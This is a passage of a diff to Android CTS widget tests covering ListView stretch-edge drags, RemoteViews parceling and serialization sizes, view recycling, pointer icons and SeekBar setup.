+        mActivityRule.runOnUiThread(() -> {
+            mListViewStretch.getLocationOnScreen(locationOnScreen);
+        });
+
+        int screenX = locationOnScreen[0] + mListViewStretch.getWidth() / 2;
+        int screenY = locationOnScreen[1] + mListViewStretch.getHeight() / 2;
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        long downTime = SystemClock.uptimeMillis();
+        StretchEdgeUtil.injectDownEvent(uiAutomation, downTime, screenX, screenY);
+
+        int middleY = screenY + (dragY / 2);
+        StretchEdgeUtil.injectMoveEventsForDrag(
+                uiAutomation,
+                downTime,
+                downTime,
+                screenX,
+                screenY,
+                screenX,
+                middleY,
+                5,
+                20
+        );
+
+        duringDrag.run();
+
+        int endY = screenY + dragY;
+
+        StretchEdgeUtil.injectMoveEventsForDrag(
+                uiAutomation,
+                downTime,
+                downTime + 25,
+                screenX,
+                middleY,
+                screenX,
+                endY,
+                5,
+                20
+        );
+
+        beforeUp.run();
+
+        StretchEdgeUtil.injectUpEvent(
+                uiAutomation,
+                downTime,
+                downTime + 50,
+                screenX,
+                endY
+        );
+    }
+
     private void showOnlyStretch() throws Throwable {
         mActivityRule.runOnUiThread(() -> {
             ViewGroup parent = (ViewGroup) mListViewStretch.getParent();
@@ -1498,6 +1639,7 @@
     private static class ColorAdapter extends BaseAdapter {
         private int[] mColors;
         private Context mContext;
+        private int mPositionOffset;
 
         ColorAdapter(Context context, int[] colors) {
             mContext = context;
@@ -1516,7 +1658,12 @@
 
         @Override
         public long getItemId(int position) {
-            return position;
+            return position - mPositionOffset;
+        }
+
+        @Override
+        public boolean hasStableIds() {
+            return true;
         }
 
         @NonNull
@@ -1532,6 +1679,23 @@
             view.setLayoutParams(new ViewGroup.LayoutParams(90, 50));
             return view;
         }
+
+        public void addColor(int color) {
+            int[] colors = new int[mColors.length + 1];
+            System.arraycopy(mColors, 0, colors, 0, mColors.length);
+            colors[mColors.length] = color;
+            mColors = colors;
+            notifyDataSetChanged();
+        }
+
+        public void addColorAtStart(int color) {
+            int[] colors = new int[mColors.length + 1];
+            System.arraycopy(mColors, 0, colors, 1, mColors.length);
+            colors[0] = color;
+            mColors = colors;
+            mPositionOffset++;
+            notifyDataSetChanged();
+        }
     }
 
     private static class ClickColorAdapter extends ColorAdapter {
diff --git a/tests/tests/widget/src/android/widget/cts/PointerIconTest.java b/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
index eb603cc..a6327ca 100644
--- a/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 
 import android.app.Activity;
+import android.view.InputDevice;
 import android.view.MotionEvent;
 import android.view.PointerIcon;
 import android.view.View;
@@ -68,6 +69,7 @@
         final int x = targetPos[0] + target.getWidth() / 2 - topPos[0];
         final int y = targetPos[1] + target.getHeight() / 2 - topPos[1];
         final MotionEvent event = MotionEvent.obtain(0, 0, MotionEvent.ACTION_HOVER_MOVE, x, y, 0);
+        event.setSource(InputDevice.SOURCE_TOUCHSCREEN);
         assertEquals(message, expectedIcon, mTopView.onResolvePointerIcon(event, 0));
     }
 
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
index ad351a7..ec76300 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
@@ -21,6 +21,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertThrows;
@@ -36,6 +37,8 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.SizeF;
 import android.util.TypedValue;
 import android.view.View;
 import android.view.ViewGroup;
@@ -58,13 +61,20 @@
 
 import com.android.compatibility.common.util.WidgetTestUtils;
 
+import com.google.common.collect.Lists;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Function;
+import java.util.stream.Collectors;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
@@ -116,11 +126,7 @@
                 .addItem(5 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity))
                 .build();
 
-        Parcel parcel = Parcel.obtain();
-        items.writeToParcel(parcel, 0 /* flags */);
-        parcel.setDataPosition(0);
-
-        RemoteCollectionItems unparceled = RemoteCollectionItems.CREATOR.createFromParcel(parcel);
+        RemoteCollectionItems unparceled = parcelAndUnparcel(items);
         assertEquals(2, unparceled.getItemCount());
         assertEquals(3, unparceled.getItemId(0));
         assertEquals(5, unparceled.getItemId(1));
@@ -128,8 +134,78 @@
         assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
         assertTrue(unparceled.hasStableIds());
         assertEquals(10, unparceled.getViewTypeCount());
+        assertNotNull(unparceled.getItemView(0).mApplication);
+        assertSame(
+                unparceled.getItemView(0).mApplication, unparceled.getItemView(1).mApplication);
 
-        parcel.recycle();
+        // Parcel and unparcel the RemoteViews and test again to ensure that the parent child
+        // relationship is correctly established from the Parcel constructor.
+        unparceled = parcelAndUnparcel(unparceled);
+        assertEquals(2, unparceled.getItemCount());
+        assertEquals(3, unparceled.getItemId(0));
+        assertEquals(5, unparceled.getItemId(1));
+        assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+        assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+        assertTrue(unparceled.hasStableIds());
+        assertEquals(10, unparceled.getViewTypeCount());
+        assertNotNull(unparceled.getItemView(0).mApplication);
+        assertSame(
+                unparceled.getItemView(0).mApplication, unparceled.getItemView(1).mApplication);
+    }
+
+    @Test
+    public void testParcelingAndUnparceling_afterAttaching() {
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .setHasStableIds(true)
+                .setViewTypeCount(10)
+                .addItem(3 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline))
+                .addItem(5 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity))
+                .build();
+
+        RemoteViews parent = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        parent.setRemoteAdapter(R.id.listview_default, items);
+
+        RemoteCollectionItems unparceled = parcelAndUnparcel(items);
+        assertEquals(2, unparceled.getItemCount());
+        assertEquals(3, unparceled.getItemId(0));
+        assertEquals(5, unparceled.getItemId(1));
+        assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+        assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+        assertTrue(unparceled.hasStableIds());
+        assertEquals(10, unparceled.getViewTypeCount());
+        assertNotNull(unparceled.getItemView(0).mApplication);
+        assertSame(
+                unparceled.getItemView(0).mApplication, unparceled.getItemView(1).mApplication);
+    }
+
+    @Test
+    public void testParcelingAndUnparceling_multiplePackages() {
+        Optional<String> otherPackageName = getAnotherPackageName();
+        if (!otherPackageName.isPresent()) return;
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .setHasStableIds(true)
+                .setViewTypeCount(10)
+                .addItem(3 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline))
+                .addItem(
+                    5 /* id */,
+                    new RemoteViews(otherPackageName.get(), R.layout.textview_gravity))
+                .build();
+
+        RemoteViews parent = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        parent.setRemoteAdapter(R.id.listview_default, items);
+
+        RemoteCollectionItems unparceled = parcelAndUnparcel(items);
+        assertEquals(2, unparceled.getItemCount());
+        assertEquals(3, unparceled.getItemId(0));
+        assertEquals(5, unparceled.getItemId(1));
+        assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+        assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+        assertTrue(unparceled.hasStableIds());
+        assertEquals(10, unparceled.getViewTypeCount());
+        assertNotNull(unparceled.getItemView(0).mApplication);
+        assertNotNull(unparceled.getItemView(1).mApplication);
+        assertEquals(PACKAGE_NAME, unparceled.getItemView(0).mApplication.packageName);
+        assertEquals(otherPackageName.get(), unparceled.getItemView(1).mApplication.packageName);
     }
 
     @Test
@@ -234,6 +310,129 @@
     }
 
     @Test
+    public void testSerializationSize_largeCollection() {
+        RemoteCollectionItems items = createSampleCollectionItems(/* size= */ 100);
+
+        int dataSize = parcelAndRun(items, Parcel::dataSize);
+
+        // 7,408 when test was written.
+        assertLessThan(10_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollection_multiPackage() {
+        Optional<String> otherPackageName = getAnotherPackageName();
+        if (!otherPackageName.isPresent()) return;
+        RemoteCollectionItems items =
+                createSampleMultiPackageCollectionItems(/* size= */ 100, otherPackageName.get());
+
+        int dataSize = parcelAndRun(items, Parcel::dataSize);
+
+        // 9,140 when test was written.
+        assertLessThan(12_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_extraLargeCollection() {
+        RemoteCollectionItems items = createSampleCollectionItems(/* size= */ 1000);
+
+        int dataSize = parcelAndRun(items, Parcel::dataSize);
+
+        // 50,608 when test was written.
+        assertLessThan(70_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollectionInLandPortRemoteViews() {
+        RemoteViews landscape = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        landscape.setRemoteAdapter(
+                R.id.listview_default,
+                createSampleCollectionItems(/* size= */ 100));
+        RemoteViews portrait = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        landscape.setRemoteAdapter(
+                R.id.listview_default,
+                createSampleCollectionItems(/* size= */ 100));
+
+        RemoteViews joinedRemoteViews = new RemoteViews(landscape, portrait);
+
+        int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+        // 12,336 when test was written.
+        assertLessThan(15_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollectionInLandPortRemoteViews_multiPackage() {
+        Optional<String> otherPackage = getAnotherPackageName();
+        if (!otherPackage.isPresent()) return;
+        RemoteViews landscape = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        landscape.setRemoteAdapter(
+                R.id.listview_default,
+                createSampleMultiPackageCollectionItems(/* size= */ 100, otherPackage.get()));
+        RemoteViews portrait = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+        landscape.setRemoteAdapter(
+                R.id.listview_default,
+                createSampleMultiPackageCollectionItems(/* size= */ 100, otherPackage.get()));
+
+        RemoteViews joinedRemoteViews = new RemoteViews(landscape, portrait);
+
+        int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+        // 14,068 when test was written.
+        assertLessThan(20_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollectionInSizedRemoteViews() {
+        List<SizeF> sizes =
+                Lists.newArrayList(
+                        new SizeF(50, 50),
+                        new SizeF(50, 100),
+                        new SizeF(100, 100),
+                        new SizeF(200, 100));
+        Map<SizeF, RemoteViews> sizeToRemoteViews =
+                sizes.stream().collect(Collectors.toMap(Function.identity(), ignored -> {
+                    RemoteCollectionItems items = createSampleCollectionItems(/* size= */ 100);
+                    RemoteViews views = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+                    views.setRemoteAdapter(R.id.listview_default, items);
+                    return views;
+                }));
+        RemoteViews joinedRemoteViews = new RemoteViews(sizeToRemoteViews);
+
+        int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+        // 22,100 when test was written.
+        assertLessThan(30_000, dataSize);
+    }
+
+    @Test
+    public void testSerializationSize_largeCollectionInSizedRemoteViews_multiPackage() {
+        Optional<String> otherPackage = getAnotherPackageName();
+        if (!otherPackage.isPresent()) return;
+        List<SizeF> sizes =
+                Lists.newArrayList(
+                        new SizeF(50, 50),
+                        new SizeF(50, 100),
+                        new SizeF(100, 100),
+                        new SizeF(200, 100));
+        Map<SizeF, RemoteViews> sizeToRemoteViews =
+                sizes.stream().collect(Collectors.toMap(Function.identity(), ignored -> {
+                    RemoteCollectionItems items =
+                            createSampleMultiPackageCollectionItems(
+                                    /* size= */ 100, otherPackage.get());
+                    RemoteViews views = new RemoteViews(PACKAGE_NAME, R.layout.listview_layout);
+                    views.setRemoteAdapter(R.id.listview_default, items);
+                    return views;
+                }));
+        RemoteViews joinedRemoteViews = new RemoteViews(sizeToRemoteViews);
+
+        int dataSize = parcelAndRun(joinedRemoteViews, Parcel::dataSize);
+
+        // 23,832 when test was written.
+        assertLessThan(30_000, dataSize);
+    }
+
+    @Test
     public void testSetRemoteAdapter_emptyCollection() {
         RemoteCollectionItems items = new RemoteCollectionItems.Builder().build();
         mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
@@ -316,7 +515,7 @@
                 .addItem(12 /* id= */, item2)
                 .build();
 
-        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
         WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule,
                 () -> mRemoteViews.reapply(mActivity, mView), true);
 
@@ -458,7 +657,7 @@
                 .setViewTypeCount(2)
                 .build();
 
-        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         Adapter initialAdapter = listView.getAdapter();
@@ -469,7 +668,7 @@
                 .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
                 .setViewTypeCount(2)
                 .build();
-        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         // The adapter should have been kept, and the second item should have maintained its view
@@ -489,7 +688,7 @@
                 .addItem(10 /* id= */, new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout))
                 .build();
 
-        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, parcelAndUnparcel(items));
         runOnMainAndDrawSync(mActivityRule, listView, () -> mRemoteViews.reapply(mActivity, mView));
 
         Adapter initialAdapter = listView.getAdapter();
@@ -540,7 +739,7 @@
                 mGridView, () -> {
                     mListView.setVisibility(View.GONE);
                     mGridView.setVisibility(View.VISIBLE);
-                    mRemoteViews.setRemoteAdapter(R.id.remoteView_grid, items);
+                    mRemoteViews.setRemoteAdapter(R.id.remoteView_grid, parcelAndUnparcel(items));
                     mRemoteViews.reapply(mActivity, mView);
                 });
 
@@ -624,6 +823,27 @@
         assertEquals(11, adapter.getItemId(1));
     }
 
+    private static RemoteCollectionItems parcelAndUnparcel(RemoteCollectionItems items) {
+        return parcelAndRun(items, RemoteCollectionItems.CREATOR::createFromParcel);
+    }
+
+    private static <T> T parcelAndRun(Parcelable parcelable, Function<Parcel, T> function) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, /* flags= */ 0);
+        parcel.setDataPosition(0);
+        try {
+            return function.apply(parcel);
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    private static void assertLessThan(int expected, int actual) {
+        if (actual >= expected) {
+            fail("Expected to be less than " + expected + ", but was " + actual);
+        }
+    }
+
     private static final class MockBroadcastReceiver extends BroadcastReceiver {
 
         Intent mIntent;
@@ -666,4 +886,35 @@
         }
     }
 
+    private static RemoteCollectionItems createSampleCollectionItems(int size) {
+        RemoteCollectionItems.Builder builder = new RemoteCollectionItems.Builder();
+        for (int i = 0; i < size; i++) {
+            builder.addItem(i,
+                    new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline));
+        }
+        return builder.build();
+    }
+
+    private static RemoteCollectionItems createSampleMultiPackageCollectionItems(
+            int size, String otherPackage) {
+        RemoteCollectionItems.Builder builder = new RemoteCollectionItems.Builder();
+        for (int i = 0; i < size; i++) {
+            String packageName = i % 2 == 0 ? PACKAGE_NAME : otherPackage;
+            builder.addItem(i, new RemoteViews(packageName, R.layout.textview_singleline));
+        }
+        return builder.build();
+    }
+
+    /**
+     * Returns a different package on the device that can be used for testing multi-package
+     * collections.
+     */
+    private Optional<String> getAnotherPackageName() {
+        return mActivity.getPackageManager()
+                .getInstalledApplications(/* flags= */ 0)
+                .stream()
+                .filter(info -> !PACKAGE_NAME.equals(info.packageName))
+                .findFirst()
+                .map(info -> info.packageName);
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
index 0202dde..c1c8892 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsRecyclingTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
 
 import android.app.Instrumentation;
 import android.content.Context;
@@ -27,6 +28,7 @@
 import android.view.ViewGroup;
 import android.widget.FrameLayout;
 import android.widget.RemoteViews;
+import android.widget.TextView;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
@@ -340,6 +342,82 @@
         doesntRecycleWhenViewIdDoesntMatch(true /* async */);
     }
 
+    private void recycleWhenViewIdDoesntMatchFailsInMultipleLayout(boolean async) throws Throwable {
+        RemoteViews childRv = createRemoteViews(R.layout.remoteviews_recycle, 2);
+        RemoteViews rv = new RemoteViews(childRv, childRv);
+        applyRemoteViews(rv);
+
+        RemoteViews childRv2 = createRemoteViews(R.layout.remoteviews_recycle, 3);
+        RemoteViews rv2 = new RemoteViews(childRv2, childRv2);
+
+        try {
+            reapplyRemoteViews(rv2, async);
+        } catch (RuntimeException ex) {
+            return; // success
+        } catch (Throwable t) {
+            fail("Excepted a RuntimeException, received " + t.toString());
+        }
+        fail("Excepted a RuntimeException, no exception received.");
+    }
+
+    @Test
+    public void recycleWhenViewIdDoesntMatchFailsInMultipleLayoutSync() throws Throwable {
+        recycleWhenViewIdDoesntMatchFailsInMultipleLayout(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenViewIdDoesntMatchFailsInMultipleLayoutAsync() throws Throwable {
+        recycleWhenViewIdDoesntMatchFailsInMultipleLayout(true /* async */);
+    }
+
+    private void recycleWhenViewIdDoesntMatchFailsInSimpleLayout(boolean async) throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle, 2);
+        applyRemoteViews(rv);
+
+        RemoteViews rv2 = createRemoteViews(R.layout.remoteviews_recycle, 3);
+        try {
+            reapplyRemoteViews(rv2, async);
+        } catch (RuntimeException ex) {
+            return; // success
+        } catch (Throwable t) {
+            fail("Excepted a RuntimeException, received " + t.toString());
+        }
+        fail("Excepted a RuntimeException, no exception received.");
+    }
+
+    @Test
+    public void recycleWhenViewIdDoesntMatchFailsInSimpleLayoutSync() throws Throwable {
+        recycleWhenViewIdDoesntMatchFailsInSimpleLayout(false /* async */);
+    }
+
+    @Test
+    public void recycleWhenViewIdDoesntMatchFailsInSimpleLayoutAsync() throws Throwable {
+        recycleWhenViewIdDoesntMatchFailsInSimpleLayout(true /* async */);
+    }
+
+    private void recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayout(boolean async)
+            throws Throwable {
+        RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
+        applyRemoteViews(rv);
+
+        RemoteViews rv2 = createRemoteViews(R.layout.remoteviews_textview);
+        rv2.setTextViewText(R.id.remoteViews_recycle_static, "New text");
+        reapplyRemoteViews(rv2, async);
+
+        TextView textView = mResult.findViewById(R.id.remoteViews_recycle_static);
+        assertEquals("New text", textView.getText());
+    }
+
+    @Test
+    public void recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayoutSync() throws Throwable {
+        recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayout(false);
+    }
+
+    @Test
+    public void recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayoutAsync() throws Throwable {
+        recycleWhenLayoutIdDoesntMatchSucceedsInSimpleLayout(true);
+    }
+
     private void recycleWhenRemovingFromEndAndInsertInMiddleAtManyLevels(boolean async)
             throws Throwable {
         RemoteViews rv = createRemoteViews(R.layout.remoteviews_recycle);
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
index fdbd6b4..ac9e140 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsTest.java
@@ -55,8 +55,11 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Parcel;
+import android.os.Parcelable;
 import android.text.TextUtils;
+import android.util.ArrayMap;
 import android.util.DisplayMetrics;
+import android.util.SizeF;
 import android.util.TypedValue;
 import android.view.View;
 import android.view.ViewGroup;
@@ -101,6 +104,7 @@
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.After;
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -112,6 +116,11 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Function;
 
 /**
  * Test {@link RemoteViews}.
@@ -499,12 +508,9 @@
     public void testWriteToParcel() {
         mRemoteViews.setTextViewText(R.id.remoteView_text, "This is content");
         mRemoteViews.setViewVisibility(R.id.remoteView_frame, View.GONE);
-        Parcel p = Parcel.obtain();
-        mRemoteViews.writeToParcel(p, 0);
-        p.setDataPosition(0);
 
         // the package and layout are successfully written into parcel
-        mRemoteViews = RemoteViews.CREATOR.createFromParcel(p);
+        mRemoteViews = parcelAndUnparcel(mRemoteViews);
         View result = mRemoteViews.apply(mContext, null);
         assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
         assertEquals(R.layout.remoteviews_good, mRemoteViews.getLayoutId());
@@ -512,12 +518,8 @@
                 .getText().toString());
         assertEquals(View.GONE, result.findViewById(R.id.remoteView_frame).getVisibility());
 
-        p = Parcel.obtain();
-
         // currently the flag is not used
-        mRemoteViews.writeToParcel(p, -1);
-
-        p.recycle();
+        parcelAndUnparcel(mRemoteViews, /* flags= */ -1);
 
         RemoteViews[] remote = RemoteViews.CREATOR.newArray(1);
         assertNotNull(remote);
@@ -529,6 +531,51 @@
         mRemoteViews.writeToParcel(null, 0);
     }
 
+    @Test
+    public void testWriteToParcel_landscapePortrait() {
+        RemoteViews landscape = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+        landscape.setTextViewText(R.id.remoteView_text, "Hello world");
+        RemoteViews portrait = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+        portrait.setTextViewText(R.id.remoteView_text, "Hello world");
+        int landscapeParcelledSize = getParcelledSize(landscape);
+        mRemoteViews = new RemoteViews(landscape, portrait);
+
+        mRemoteViews = parcelAndUnparcel(mRemoteViews);
+        assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
+        View result = mRemoteViews.apply(mContext, null);
+        assertEquals("Hello world", ((TextView) result.findViewById(R.id.remoteView_text))
+                .getText().toString());
+
+        // The ApplicationInfo should only have been written once, so this should be much smaller
+        // than twice the size of parcelling one RemoteViews.
+        assertLessThan(landscapeParcelledSize * 2, getParcelledSize(mRemoteViews));
+    }
+
+    @Test
+    public void testWriteToParcel_sizeMap() {
+        List<SizeF> sizes =
+                Arrays.asList(new SizeF(50, 50), new SizeF(100, 100), new SizeF(100, 200));
+        Map<SizeF, RemoteViews> sizeMap = new ArrayMap<>();
+        int singelParcelledSize = 0;
+        for (SizeF size : sizes) {
+            RemoteViews views = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_good);
+            views.setTextViewText(R.id.remoteView_text, "Hello world");
+            sizeMap.put(size, views);
+            singelParcelledSize = getParcelledSize(views);
+        }
+        mRemoteViews = new RemoteViews(sizeMap);
+
+        mRemoteViews = parcelAndUnparcel(mRemoteViews);
+        assertEquals(PACKAGE_NAME, mRemoteViews.getPackage());
+        View result = mRemoteViews.apply(mContext, null);
+        assertEquals("Hello world", ((TextView) result.findViewById(R.id.remoteView_text))
+                .getText().toString());
+
+        // The ApplicationInfo should only have been written once, so this should be much smaller
+        // than thrice the size of parcelling one RemoteViews.
+        assertLessThan(singelParcelledSize * 3, getParcelledSize(mRemoteViews));
+    }
+
     @Test(expected=NegativeArraySizeException.class)
     public void testCreateNegativeSizedArray() {
         RemoteViews.CREATOR.newArray(-1);
@@ -551,6 +598,23 @@
     }
 
     @Test
+    public void testSetImageViewBitmap_afterCopying() throws Throwable {
+        Bitmap bitmap =
+                BitmapFactory.decodeResource(mContext.getResources(), R.drawable.testimage);
+        RemoteViews original =
+                new RemoteViews(mContext.getPackageName(), R.layout.remoteviews_good);
+        original.setImageViewBitmap(R.id.remoteView_image, bitmap);
+        RemoteViews copy = new RemoteViews(original);
+
+        AtomicReference<View> view = new AtomicReference<>();
+        mActivityRule.runOnUiThread(() -> view.set(copy.apply(mContext, null)));
+
+        ImageView image = view.get().findViewById(R.id.remoteView_image);
+        assertNotNull(image.getDrawable());
+        WidgetTestUtils.assertEquals(bitmap, ((BitmapDrawable) image.getDrawable()).getBitmap());
+    }
+
+    @Test
     public void testSetBitmap() throws Throwable {
         ImageView image = (ImageView) mResult.findViewById(R.id.remoteView_image);
         assertNull(image.getDrawable());
@@ -1940,4 +2004,41 @@
         runShellCommand("cmd uimode night " + (nightMode ? "yes" : "no"));
         return previousMode;
     }
+
+    private static RemoteViews parcelAndUnparcel(RemoteViews views) {
+        return parcelAndUnparcel(views, /* flags= */ 0);
+    }
+
+    /**
+     * Returns the result of writing {@code views} to a {@link Parcel} and then creating a new
+     * {@link RemoteViews} from the parcel.
+     */
+    private static RemoteViews parcelAndUnparcel(RemoteViews views, int flags) {
+        return parcelAndRun(views, flags, RemoteViews.CREATOR::createFromParcel);
+    }
+
+    /** Returns the data size from writing {@code parcelable} to a {@link Parcel}. */
+    private static int getParcelledSize(Parcelable parcelable) {
+        return parcelAndRun(parcelable, /* flags= */ 0, Parcel::dataSize);
+    }
+
+    private static <T> T parcelAndRun(
+            Parcelable parcelable,
+            int flags,
+            Function<Parcel, T> function) {
+        Parcel parcel = Parcel.obtain();
+        parcelable.writeToParcel(parcel, flags);
+        parcel.setDataPosition(0);
+        try {
+            return function.apply(parcel);
+        } finally {
+            parcel.recycle();
+        }
+    }
+
+    private static void assertLessThan(int expected, int actual) {
+        if (actual >= expected) {
+            Assert.fail("Expected to be less than " + expected + ", but was " + actual);
+        }
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
index 50405dc..914aae0 100644
--- a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
@@ -16,6 +16,7 @@
 
 package android.widget.cts;
 
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.Mockito.anyInt;
 import static org.mockito.Mockito.atLeastOnce;
 import static org.mockito.Mockito.eq;
@@ -27,6 +28,7 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.graphics.Rect;
+import android.os.Build;
 import android.os.SystemClock;
 import android.view.MotionEvent;
 import android.view.View;
@@ -38,6 +40,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CtsDownstreamingTest;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
@@ -64,6 +67,8 @@
 
     @Before
     public void setup() throws Throwable {
+        assumeTrue("Skipping test intended for SV2 devices",
+                Build.VERSION.SDK_INT == Build.VERSION_CODES.S_V2);
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
         mSeekBar = mActivity.findViewById(R.id.seekBar);
@@ -113,6 +118,7 @@
         new SeekBar(mActivity, null, 0, android.R.style.Widget_Material_Light_SeekBar);
     }
 
+    @CtsDownstreamingTest
     @Test
     public void testSetOnSeekBarChangeListener() {
         SeekBar.OnSeekBarChangeListener mockChangeListener =
diff --git a/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt b/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt
index b06c52a..6a03076 100644
--- a/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt
+++ b/tests/tests/widget/src/android/widget/cts/util/StretchEdgeUtil.kt
@@ -178,10 +178,13 @@
 /**
  * An [EdgeEffect] that does not release with [onRelease] unless [pauseRelease] is `false`.
  */
-class NoReleaseEdgeEffect(context: Context) : EdgeEffect(context) {
+open class NoReleaseEdgeEffect(context: Context) : EdgeEffect(context) {
     var pauseRelease = true
 
+    var onReleaseCalled = false
+
     override fun onRelease() {
+        onReleaseCalled = true
         if (!pauseRelease) {
             super.onRelease()
         }
